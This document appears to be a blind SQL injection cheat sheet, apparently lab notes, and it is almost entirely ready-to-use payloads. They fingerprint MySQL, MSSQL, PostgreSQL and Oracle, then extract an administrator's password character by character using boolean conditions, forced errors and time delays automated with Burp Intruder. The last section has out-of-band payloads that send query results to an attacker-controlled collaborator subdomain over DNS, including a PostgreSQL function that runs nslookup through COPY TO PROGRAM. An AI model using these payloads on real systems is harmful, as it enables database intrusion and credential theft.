A' AND TRUE=(SELECT @@version) -- comment MySQL or MSSQL
A' AND 1=(SELECT 1 LIMIT 1) -- comment pure MySQL syntax
A' AND TRUE=(SELECT version()) -- comment pure PostgreSQL function
A' AND TRUE=(SELECT version FROM v$instance) -- comment Oracle v$view
Detect table
You need to know a table name, guess it, find it in the code (open source) or query the data dictionary using automation tools. Confirm the table name by the following query (MySQL)
A' AND 1=(SELECT 1 FROM users LIMIT 1) --
Specific data record (username)
In order to query a password from the application "users" table, match a record within the table.
A' AND 1=(SELECT 1 FROM users WHERE username='administrator' LIMIT 1) -- comment
Password length
A' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a' --
Query data - Burp Suite Intruder
Automate the attack in Burp Suite - Intruder, define an alphabet, and iterate over password character positions in the SUBSTRING('other dbs',1,1) or SUBSTR('oracle',1,1) functions.
A' AND 'a'=(SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator') -- comment
Conditional Errors
When error response is the only observation you have, raise an error on a positive match using conditional SQL statements (CASE, IF). First, detect the database platform.
Detect database
using string concetination functions to determine the database platform
Oracle 'foo'||'bar'
Microsoft 'foo'+'bar'
PostgreSQL 'foo'||'bar'
MySQL CONCAT('foo','bar')
'foo' 'bar' [Note the space between the two strings]
for example, extend a string value in a where close using || following an empty string (this string does not change however, teh database needs to evaluate the concetination operator.
A'||(SELECT '')||'
Detect table
A'||(SELECT '' FROM dual)||'
A'||(SELECT '' FROM anytable)||'
A'||(SELECT '' FROM users WHERE ROWNUM=1)||'
Conditional statements
Test the coditional statement with zero division (CASE WHEN (1=1) and (1=2)
A'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
Specific data record (username)
A'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
Password length
A'||(SELECT CASE WHEN LENGTH(password)>1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'
...
A'||(SELECT CASE WHEN LENGTH(password)>=20 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'
Query data - Burp Suite Intruder
A'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
Time Delays
Detect database
Oracle dbms_pipe.receive_message(('a'),10)
Microsoft WAITFOR DELAY '0:0:10'
PostgreSQL SELECT pg_sleep(10)
MySQL SELECT sleep(10)
A'||pg_sleep(10)--
Conditional time delays
Oracle SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual
Microsoft IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'
PostgreSQL SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END
MySQL SELECT IF(YOUR-CONDITION-HERE,sleep(10),'a')
A'||(SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END)--
A'||(SELECT CASE WHEN (1=(SELECT 1 FROM users where username='administrator')) THEN pg_sleep(2) ELSE pg_sleep(0) END)--
A'||(SELECT CASE WHEN LENGTH(password)>19 THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users where username='administrator')--
A'||(SELECT CASE WHEN SUBSTRING(password,1,1)='a' THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users where username='administrator')--
Detect table
A'||(SELECT CASE WHEN (1=(SELECT 1 FROM users where username='administrator')) THEN pg_sleep(2) ELSE pg_sleep(0) END)--
Password length
A'||(SELECT CASE WHEN LENGTH(password)>19 THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users where username='administrator')--
Query data - Burp Suite Intruder
A'||(SELECT CASE WHEN SUBSTRING(password,1,1)='a' THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users where username='administrator')--
Out of Band
DNS lookup
--Oracle
SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual
The following technique works on fully patched Oracle installations, but requires elevated privileges:
SELECT UTL_INADDR.get_host_address('YOUR-SUBDOMAIN-HERE.burpcollaborator.net')
-- Microsoft
exec master..xp_dirtree '//YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a'
-- PostgreSQL
copy (SELECT '') to program 'nslookup YOUR-SUBDOMAIN-HERE.burpcollaborator.net'
-- MySQL/windows only
SELECT ... INTO OUTFILE '\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a'
DNS lookup with data exfiltration
-- Oracle
SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual
-- Microsoft
declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a"')
-- PostgreSQL
create OR replace function f() returns void as $$
declare c text;
declare p text;
begin
SELECT into p (SELECT YOUR-QUERY-HERE);
c := 'copy (SELECT '''') to program ''nslookup '||p||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f();
-- MySQL/Windows only
SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a'